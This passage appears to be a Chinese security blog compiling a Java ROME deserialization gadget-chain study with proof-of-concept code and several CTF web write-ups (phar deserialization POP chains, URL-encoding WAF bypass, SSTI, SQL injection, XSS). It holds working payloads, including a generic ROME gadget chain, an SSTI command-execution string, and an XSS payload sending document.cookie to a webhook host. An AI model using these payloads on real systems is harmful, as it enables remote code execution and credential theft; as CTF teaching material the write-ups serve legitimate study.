byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);

//第一次反序列化的对象
SignedObject signedObject = makeSObj(hashMap);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,"1");
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(equalsBean1,"123");
setValue(toStringBean1,"_obj",signedObject);
serialize(hashMap1);
unserialize("ser.bin");


}
public static SignedObject makeSObj(Serializable o) throws IOException, InvalidKeyException, SignatureException{
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("1") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
}
);
}
private static void setValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj,value);
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

不依赖ToStringBean

可以看到,前面列出的诸多方法都是依赖于ToStringBeantoString方法对于getter的循环反射调用,那么如果可以有其他的类也存在这样的功能的话就可以代替它。这就不得不提到前面的EqualsBean了,它有一个beanEquals方法如下:

要求this._objobj的值不为null,而且_beanClass.isInstance(bean2)要为真,也就是bean2要属于_beanClass类或其子类,这是如果使用任意类加载的话就会出错,因为com.sun.org.apache.xalan.internal.xsltc.compiler.Templatecom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl显然不满足条件,这里也就只能用SignedObject的二次反序列化了。之后就可以走到循环获取getter并反射调用的逻辑了,this._obj可以通过构造函数或者反射来进行赋值,而obj是传进来的参数,往回查一下调用情况,发现EqualsBeanequals调用了它,obj也是参数直接传进来的:

说到equals又回到了我们熟悉的话题,首先考虑HashMap在反序列化的时候会调用putVal,在putVal中调用key.equals(k),按照HotSwappableTargetSource在构造方法最后就能调用到EqualsBeanbeanEquals,但是这时候obj的类型会是EquslsBean,无法进入到getter的逻辑:

所以考虑另外一条路:Hashtable,他在readObject的时候会调用reconstitutionPut

e是从tag中来的,如果tag为空时就会传入keyvalue。如果tag不为空,就会先判断(e.hash == hash) && e.key.equals(key),这里可以利用哈希碰撞绕过哈希判断,之后就会调用e.key.equals(key),而HashMap继承了AbstractMap,因此e.key.equals(key)就会调用到AbstractMapequals

equals中会调用value.equals(m.get(key)),如果valueEqualsBeanm.get(key)SignedObject,那么就可以触发二次反序列化了。

POC如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception {
//第二次反序列化的对象
TemplatesImpl templates = new TemplatesImpl();
byte[] bytes = Files.readAllBytes(Paths.get("D:\\ctf_tools\\java_study\\rome\\shell.class"));
setValue(templates,"_name","aaa");
setValue(templates,"_bytecodes",new byte[][]{bytes});
setValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,new ConstantTransformer(1));
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean,"123");
setValue(toStringBean,"_obj",templates);

//第一次反序列化的对象
SignedObject signedObject = makeSObj(hashMap);
SignedObject signedObject1 = makeSObj(null);
EqualsBean equalsBean1 = new EqualsBean(String.class,"1");

HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put("yy",equalsBean1);
hashMap1.put("zZ",signedObject);
HashMap<Object,Object> hashMap2 = new HashMap<>();
hashMap2.put("zZ",equalsBean1);
hashMap2.put("yy",signedObject);

Hashtable hashtable = new Hashtable<>();
hashtable.put(hashMap1,"a");
hashtable.put(hashMap2,"b");

setValue(equalsBean1,"_beanClass",SignedObject.class);
setValue(equalsBean1,"_obj",signedObject1);

serialize(hashtable);
unserialize("ser.bin");

}

实验代码及调用链路图:https://github.com/hututu2/Java-Study

参考链接:

https://goodapple.top/archives/1145

https://xz.aliyun.com/t/13104

https://xz.aliyun.com/t/12768

祥云杯初赛-2022-WP

Web

RustWaf

题目给出源码

app.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
const express = require('express');
const app = express();
const bodyParser = require("body-parser")
const fs = require("fs")
app.use(bodyParser.text({ type: '*/*' }));
const { execFileSync } = require('child_process');
app.post('/readfile', function(req, res) {
let body = req.body.toString();
let file_to_read = "app.js";
const file = execFileSync('/app/rust-waf', [body], { encoding: 'utf-8' }).trim();
try {
file_to_read = JSON.parse(file)
} catch (e) {
file_to_read = file
}
let data = fs.readFileSync(file_to_read);
res.send(data.toString());
});
app.get('/', function(req, res) { res.send('see `/src`'); });
app.get('/src', function(req, res) {
var data = fs.readFileSync('app.js');
res.send(data.toString());
});
app.listen(3000, function() { console.log('start listening on port 3000'); });

main.rs

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
use std::env;
use serde::{Deserialize, Serialize};
use serde_json::Value;

static BLACK_PROPERTY: &str = "protocol";

#[derive(Debug, Serialize, Deserialize)]
struct File{
#[serde(default = "default_protocol")]
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}

pub fn default_protocol() -> String {
"http".to_string()
}
//protocol is default value,can't be customized
pub fn waf(body: &str) -> String {
if body.to_lowercase().contains("flag") || body.to_lowercase().contains("proc"){
return String::from("./main.rs");
}
if let Ok(json_body) = serde_json::from_str::<Value>(body) {
if let Some(json_body_obj) = json_body.as_object() {
if json_body_obj.keys().any(|key| key == BLACK_PROPERTY) {
return String::from("./main.rs");
}
}
//not contains protocol,check if struct is File
if let Ok(file) = serde_json::from_str::<File>(body) {
return serde_json::to_string(&file).unwrap_or(String::from("./main.rs"));
}
} else{
//body not json
return String::from(body);
}
return String::from("./main.rs");
}

fn main() {
let args: Vec<String> = env::args().collect();
println!("{}", waf(&args[1]));
}

提供了一个文件读取功能,我们可以直接传输字符串也可以传json数据,传进去的内容会在main.rs中进行检查,如果罕有flag或者proc字符串就无法读取文件,对于满足条件的字符串会直接返回给app.js继续进行读取,而不含关键字的JSON数据将会进行解析,只有成功解析为File结构体时才会调用to_string函数输出返回给app.js进行下一步处理。

这里我们可以注意到,nodejs中的文件系统库fs中的readFileSync函数接受URL类的输入,而URL类的属性含有如下属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const url=new URL("http://jututu.top");
console.log(url.protocol);
console.log(url.href);
console.log(url.origin);
console.log(url.pathname);
console.log(url.hostname);
/*
output:
http:
http://jututu.top/
http://jututu.top
/
jututu.top
*/

这些属性与main.rs中的结构体File是一致的。同时,我们可以注意到,to_string操作其实输出的也是一串JSON数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
use std::fs;
use serde_json;
use serde::{Deserialize, Serialize};

#[derive(Debug, Serialize, Deserialize)]
struct File{
pub protocol: String,
pub href: String,
pub origin: String,
pub pathname: String,
pub hostname:String
}
fn main() {
let file=File{
protocol:"http",
href:"http://jututu.top/",
origin:"http://jututu.top",
pathname:"/",
hostname:"jututu.top"
};
let sdata = serde_json::to_string(&file);
let sdata = sdata.unwrap();
println!("{}", sdata);
}
/*
output:

{"protocol":"http","href":"http://jututu.top/","origin":"http://jututu.top","pathname":"/","hostname":"jututu.top"}
*/

而这一串JSON数据刚好能被app.js中的JSON.parse函数解析为URL对象,因此我们只需要按照格式输入结构体数据main.rs就会自动帮我们解析得到JSON数据从而被解析为URL对象。

而重点就在这里,readFileSync对输入的url会进行url解码(参考:https://brycec.me/posts/corctf_2022_challenges#simplewaf ),因此这里可以用url解码来绕过,将flag进行url编码或者部分url编码即可。

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /readfile HTTP/1.1
Host: eci-2ze0xya70kbo4gq728da.cloudeci1.ichunqiu.com:3000
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 56

["file:",
"file:///fl%61g",
"null",
"/fl%61g",
""
]

flag{88f45655-1050-4b00-a577-01fad53a9202}

b站1024-2022-WP

第二题

打开题目看到提示upupup!

有可能是文件上传,访问一下upload.php,可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php 
header("content-type:text/html;charset=utf-8");

date_default_timezone_set('PRC');

if($_SERVER['REQUEST_METHOD']==='POST') {

$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
if ($size > 2*1024*1024){
echo "<script>alert('文件过大');window.history.go(-1);</script>";
exit();
}

$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
$allow_suffix = array('jpg','gif','jpeg','png');
if(!in_array($ext_suffix, $allow_suffix)){
echo "<script>alert('只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";
exit();
}

$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;
move_uploaded_file($temp_name, 'upload/'.$new_filename);
echo "success save in: ".'upload/'.$new_filename;

} else if ($_SERVER['REQUEST_METHOD']==='GET') {
if (isset($_GET['c'])){
include("5d47c5d8a6299792.php");
$fpath = $_GET['c'];
if(file_exists($fpath)){
echo "file exists";
} else {
echo "file not exists";
}
} else {
highlight_file(__FILE__);
}
} echo 111;
?>

用POST方法是上传文件,而且只能上传文件名后缀为jpg,gif,jpeg,png的文件;用GET方法则是检查文件是否存在。再看一下5d47c5d8a6299792.php文件,也给出了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
 <?php

// flag in /tmp/flag.php



class Modifier {

public function __invoke(){
include("index.php");
}
}

class Action {
protected $checkAccess;
protected $id;

public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
echo "error path";
exit();
}

if ($this->id !== 0 && $this->id !== 1) {
switch($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}

}

class Content {

public $formatters;

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
}
}

class Show{
public $source;
public $str;
public $reader;
public function __construct($file='index.php') {
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {


$this->str->reset();
}

public function __wakeup() {

if(preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}

public function reset() {
if ($this->reader !== null) {


$this->reader->close();
}
}
}


highlight_file(__FILE__);

结合给出多个类、文件上传、文件存在检验可以猜测攻击路径大概是通过上传phar文件,再由文件存在性检查来触发给出的类的反序列化,从而读取flag。

通过分析以上几个类发现只有Action类的run函数能偶进行文件包含,这应该就是调用的目标函数,pop链最终就是要调用Action类的run函数执行include读取flag。而show函数具有__construct和__toString函数,且__construct函数中存在字符串输出操作,能够触发__toString函数,这应该是反序列化调用链的起点。而Content类存在__call函数,其中还调用了call_user_func_array(),因此这个类可以作为跳板,从Show跳到Action类。Show类的__toString函数中有$this->str->reset();,这个reset函数正是Content类所没有的,因此就会触发call_user_func_array函数调用Action的run函数,这样pop链就分析完成了。接下去就是一些细节的问题了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
<?php

//目标是调用Action类的run函数,执行任意文件读取
class Action {
protected $checkAccess='php://filter/convert.base64-encode/resource=../../../tmp/flag.php';
//读取的目标文件
protected $id=NULL;

public function run()
{
if(strpos($this->checkAccess, 'upload') !== false || strpos($this->checkAccess, 'log') !== false){
//这里限制了上传webshell,就只能采取文件读取的方式
echo "error path";
exit();
}

if ($this->id !== 0 && $this->id !== 1) {//switch的比较是'==',可以利用语言特性绕过
switch($this->id) {//id=NULL即可
case 0:
if ($this->checkAccess) {echo 'flag!!!!';
include($this->checkAccess);
}
break;
case 1:
throw new Exception("id invalid in ".__CLASS__.__FUNCTION__);
break;
default:
break;
}
}
}

}
class Content {
public $formatters;//设置为键值对,'reset'=>array(new Action,'run')
public function __construct(){
$action=new Action;
$this->formatters=array('reset'=>array($action,'run'));
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);//调用 Action类 的 run函数
}
}

class Show{
public $source;//赋值为Show类实例
public $str;//赋值为Content类实例
public $reader;
public function __construct($file='index.php') {
$this->str=new Content;
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString() {
$this->str->reset();
}

}
//生成phar文件
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new Show();
$o->source=new Show();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

上传phar文件后需要将其后缀改为jpg后再上传,以下是上传脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
file1=open('phar.phar','rb')
file2=open('phar.jpg','wb')
file2.write(file1.read())
file1.close()
file2.close()
url='http://42.192.54.239/upload.php'
file={
"file": open('./phar.jpg','rb'),
}
post=requests.post(url=url,files=file)
print(post.content)

上传文件后能够拿到文件路径,再通过一下方式触发反序列化读取文件。

1
http://42.192.54.239/upload.php?c=phar:///var/www/html/upload/20221026191443765.jpg

读取到的base64文件:

1
LyoqCiAqIGJpbGliaWxpQDIwMjIuCiAqIENvbmdyYXR1bGF0aW9ucyEgVGhpcyBpcyBUaGUgRmxhZyEKICogQXV0aDogSzNpb3ZlQGdpdGh1YgogKiBSZXBvOiAxMDI0LWNoZWVycwogKiBAbGluayBodHRwczovL3NlY3VyaXR5LmJpbGliaWxpLmNvbS8KICogQGxpY2Vuc2UgaHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tLwogKi8KCmZsYWcye1BoQXJfVGhlX2JFc1RfTGFuZ30K

解码后即可得到flag:

1
2
3
4
5
6
7
8
9
10
11
12
/**
* bilibili@2022.
* Congratulations! This is The Flag!
* Auth: K3iove@github
* Repo: 1024-cheers
* @link https://security.bilibili.com/
* @license https://www.bilibili.com/
*/

flag2{PhAr_The_bEsT_Lang}


第五空间-2022-WP

web

5_web_BaliYun

访问www.zip 可以获取到源码,就两个文件,index.php和class.php

index.php

1
2
3
4
5
6
7
8
9
10
<?php
include("class.php");
if(isset($_GET['img_name'])){
$down = new check_img();
echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
$up = new upload();
echo $up->start();
}

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;

public function __construct(){
$this->filename = $_FILES["file"]["name"];
$this->ext = end(explode(".", $_FILES["file"]["name"]));
$this->size = $_FILES["file"]["size"] / 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}

public function start(){
return $this->check();
}

private function check(){
if(file_exists($this->filename)){
return "Image already exsists";
}elseif(!in_array($this->ext, $this->Valid_ext)){
return "Only Image Can Be Uploaded";
}else{
return $this->move();
}
}

private function move(){
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
return "Upload succsess!";
}

public function __wakeup(){
echo file_get_contents($this->filename);
}
}


class check_img{
public $img_name;
public function __construct(){
$this->img_name = $_GET['img_name'];
}

public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}
}

有上传文件功能和检查文件是否存在功能,可以注意到class.php文件中有两个类,其中的upload类有文件读取:

1
2
3
public function __wakeup(){
echo file_get_contents($this->filename);
}

__wakeup()是在反序列化过程中会自动调用的函数,也就是说只要我们能够触发反序列化就可以进行任意文件读取。同时check_img类有检查文件是否存在操作:

1
2
3
4
5
6
7
public function img_check(){
if(file_exists($this->img_name)){
return "Image exsists";
}else{
return "Image not exsists";
}
}

文件上传+反序列化,这就联想到了phar反序列化。可以上传phar文件,利用文件检查操作和phar伪协议触发反序列化,导致任意文件读取,phar文件生成代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;

public function __construct(){
$this->filename = '/flag';
$this->ext = '';
$this->size = 1024;
$this->Valid_ext = array("gif", "jpeg", "jpg", "png");
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new upload();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

phar文件内容为:

1
2
<?php __HALT_COMPILER(); ?>
?    ? O:6:"upload":4:{s:8:"filename";s:5:"/flag";s:3:"ext";s:0:"";s:4:"size";i:1024;s:9:"Valid_ext";a:4:{i:0;s:3:"gif";i:1;s:4:"jpeg";i:2;s:3:"jpg";i:3;s:3:"png";}} test.txt ?(c ~囟 testy^紮!q@SaD2<5V苪 GBMB

上传文件后,发送如下报文触发:

1
2
3
4
5
6
7
8
9
GET /?img_name=phar://./upload/phar.jpg HTTP/1.1
Host: 39.107.76.202:24750
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag: flag{3QfNeV2JDk8wHKTgk5cHbynjC7HSXW5U}

DiceCTF-2022-WP

一共十道题,只做出来8道,剩下两道完全找不到漏洞点,等大佬wp @_@ 。这比赛的题目顺序有点迷,并没有按照难度排列,做的时候有点过山车的感觉,不过总体体验还是不错的。

secure-page

直接看源码,只需要把cookie中的admin设为true即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@server.get('/')
async def root(request):
admin = request.cookies.get('admin', '')

headers = {}
if admin == '':
headers['set-cookie'] = 'admin=false'

if admin == 'true':
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
%s
</div>
''' % os.environ.get('FLAG', 'flag is missing!'), headers)
else:
return (200, '''
<title>Secure Page</title>
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Secure Page</h1>
Sorry, you must be the admin to view this content!
</div>
''', headers)

hope{signatures_signatures_signatures}

flag-viewer

从源码可以看到只需要访问/flag目录并把参数user设为admin即可。

1
2
3
4
5
6
7
8
9
@server.post('/flag')
async def flag(request):
data = await request.post()
user = data.get(' ', '')

if user != 'admin':
return (302, '/?message=Only the "admin" user can see the flag!')

return (302, f'/?message={os.environ.get("FLAG", "flag missing!")}')

hope{oops_client_side_validation_again}

point

源码给出来,用post发送json数据,只要恢复得到的结构体成员值为that_point即可,但是不能够含有what_point字段,因为json.Unmarshal不区分json字段的大小写,因此可以把键名what_point写成What_point来绕过检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
type importantStuff struct {
Whatpoint string `json:"what_point"`
}

func main() {
flag, err := os.ReadFile("flag.txt")
if err != nil {
panic(err)
}

http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
fmt.Fprint(w, "Hello, world")
return
case http.MethodPost:
body, err := io.ReadAll(r.Body)
fmt.Printf("%s", body)
if err != nil {
fmt.Fprintf(w, "1 Something went wrong")
return
}

if strings.Contains(string(body), "what_point") || strings.Contains(string(body), "\\") {
fmt.Fprintf(w, "2 Something went wrong")
return
}

var whatpoint importantStuff
err = json.Unmarshal(body, &whatpoint)
if err != nil {
fmt.Fprintf(w, "3 Something went wrong")
return
}

if whatpoint.Whatpoint == "that_point" {
fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
return
} else {
fmt.Fprintf(w, "4 Something went wrong")
return
}
default:
fmt.Fprint(w, "Method not allowed")
return
}
})

log.Fatal(http.ListenAndServe(":1234", nil))

}

hope{cA5e_anD_P0iNt_Ar3_1mp0rT4nT}

reverser

这是一道ssti注入题,需要注意的是payload要取反,因为是python3所以需要找一下FileLoader,然后按照常规套路利用builtins中的函数调用系统命令读取flag即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@app.post('/')
def reverse():
result = '''
<link rel="stylesheet" href="style.css" />
<div class="container">
<h1>Text Reverser</h1>
Reverse any text... now as a web service!
<form method="POST">
<input type="text" name="text">
<input type="submit" value="Reverse">
</form>
<p>Output: %s</p>
</div>
'''
output = request.form.get('text', '')[::-1]
return render_template_string(result % output)

payload如下:

1
}})(daer.)'sl'(nepop.)'so'(]'__tropmi__'[]'__snitliub__'[__slabolg__.__tini__.]49[)(__sessalcbus__.__esab__.)'__ssal'+'c__'(__etubirttateg__.][{{
1
}})(daer.)'*f%20tac'(nepop.)'so'(]'__tropmi__'[]'__snitliub__'[__slabolg__.__tini__.]49[)(__sessalcbus__.__esab__.)'__ssal'+'c__'(__etubirttateg__.][{{

hope{cant_misuse_templates}

oeps

一开始看到execute的时候觉得完了,滴水不漏,定睛一看才发现原来里面用了单引号把占位符包起来了,那就起不到防止sql注入的效果,可以直接注。找了一圈发现基本上都有输入检查,只允许字母和数字输入,唯独一个地方没有检查那就是/submit目录下的submission参数,这里可以直接进行注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@server.post('/submit')
async def submit(request):
token = request.cookies.get('token', '')
logged_in = (
all(c in ALLOWED_CHARACTERS for c in token) and
len(connection.execute('''
select * from users where token = '%s';
''' % token).fetchall()) == 1
)

if not logged_in:
return (302, '/?error=Authentication error.')

data = await request.post()
submission = data.get('submission', '')
if submission == '':
return (302, '/?error=Submission cannot be empty.')

stripped = submission.replace(' ', '')
if stripped != stripped[::-1]:
return (302, '/?error=Submission must be a palindrome.')
connection.execute('''
insert into pending (user, sentence) values ('%s', '%s');
''' % (
token,
submission
))

return (302, '/')

与往常的不同,不再是select,而是insert语句。这里插入的是pending数据表,也就是我们访问根目录可以看到的数据表。因此可以将flag查询出来插入pending表中,再访问根目录查看。需要注意的是在python的sqlite中可以使用||进行字符拼接,这里将前面的字符闭合起来之后再将flag拼接上去即可:

1
flag:'||(select flag from flags));----;))sgalf morf galf tceles(||':galf

访问根目录查看flag:

hope{ecid_gnivlovni_semordnilap_fo_kniht_ton_dluoc}

inspect-me

这道题挺恶心的,F12开启开发者工具之后就会把表单后面的内容替换掉,然后不断循环刷新控制台。一开始只能获取到表单前面那部分的代码,发现他会检测窗口大小等一系列操作来判断是否开启开发者工具,所以一开始我的思路是用chromedriver来控制开启页面,然后用page_source来获取源码,但是发现不行因为chromedriver本来就是调用了开发者工具来实现的,会被检查出来。

!

经过仔细研究发现页面内容替换需要条件触发,而检测这些触发条件的是js代码,他们的作用范围只在本标签,那么标签的上一级他就管不到了。所以可以直接选中浏览器地址栏url然后按ctrl+u直接看源码。以下是表单后面的源码,实现的是对flag进行凯撒加密,偏移量为13。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<script>
(() => {
const scripts = document.querySelectorAll('script');
scripts.forEach((script) => script.remove());

const chr = (c) => c.charCodeAt(0);

const form = document.querySelector('form');
form.addEventListener('submit', (event) => {
event.preventDefault();
const input = document.querySelector('input[type="text"]');
const output = [];
for (const char of input.value.split('').map(chr)) {
if (chr('a') <= char && char <= chr('z')) {
output.push(chr('a') + ((char - chr('a') + 13) % 26));
} else if (chr('A') <= char && char <= chr('Z')) {
output.push(chr('A') + ((char - chr('A') + 13) % 26));
} else {
output.push(char);
}
}
const target = 'ubcr{pyvrag_fvqr_pyvpur}';
if (output.map((c) => String.fromCharCode(c)).join('') === target) {
document.querySelector('.content').textContent = 'Correct!';
} else {
input.removeAttribute('style');
input.offsetWidth;
input.style.animation = 'shake 0.25s';
}
});
})();
</script>

hope{client_side_cliche}

pastebin

服务端提供/new来给我们创建一个页面,随后会给出地址供访问,题目大概的思路就是利用/new生成带有xss代码的页面,然后把这个页面提交给admin-bot访问,admin-bot访问我们生成的页面时利用xss代码将cookie外带即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
app.post('/new', (req, res) => {
const paste = (req.body.paste ?? '').toString();

if (paste.length == 0) {
return res.redirect(`/flash?message=Paste cannot be empty!`);
}

if (paste.search(/<.*>/) !== -1) {
return res.redirect(`/flash?message=Illegal characters in paste!`);
}

const id = add(paste);
res.redirect(`/view/${id}`);
});

app.get('/view/:id', (req, res) => {
const id = req.params.id;
res.type('html');
res.end(`
<link rel="stylesheet" href="/style.css" />
<div class="container">
<h1>Paste</h1>
${pastes.get(id) ?? 'Paste does not exist!'}
</div>
`);
});

从上面的源码可以看到,写入的内容是会有检查的,不能够含有<>,这里需要xss绕过。我们可以使用iframe的半尖括号来进行绕过,然后在src中写入js代码实现cookie窃取,payload如下:

1
<iframe src= javascript:location.href="https://webhook.site/99f07c43-3dd0-402e-afc8-a654a2dc6983/?flag="+document.cookie <

再将如下链接提交给Admin Bot访问即可:

1
https://pastebin.mc.ax/view/54c293d08e3c57c75ddee9af984431c1

提交之后就可以在我们实现准备好的webhook这里查看flag。

hope{the_pastebin_was_irrelvant}

mk

这道题也是xss,不过他的限制比较严格,内容安全策略(CSP)如下,除了谷歌的验证码域名外,其他的都需要遵循同源策略,而且script不允许内联代码运行,这里需要绕过CSP。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
fastify.addHook('preHandler', async (req, res) => {
res.header('Content-Security-Policy', [
"default-src 'self'",
"base-uri 'self'",
"font-src 'self'",
"frame-ancestors 'none'",
"img-src 'none'",
"object-src 'none'",
"script-src 'self' 'unsafe-eval' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/",
"script-src-attr 'none'",
"style-src 'self' 'unsafe-inline'",
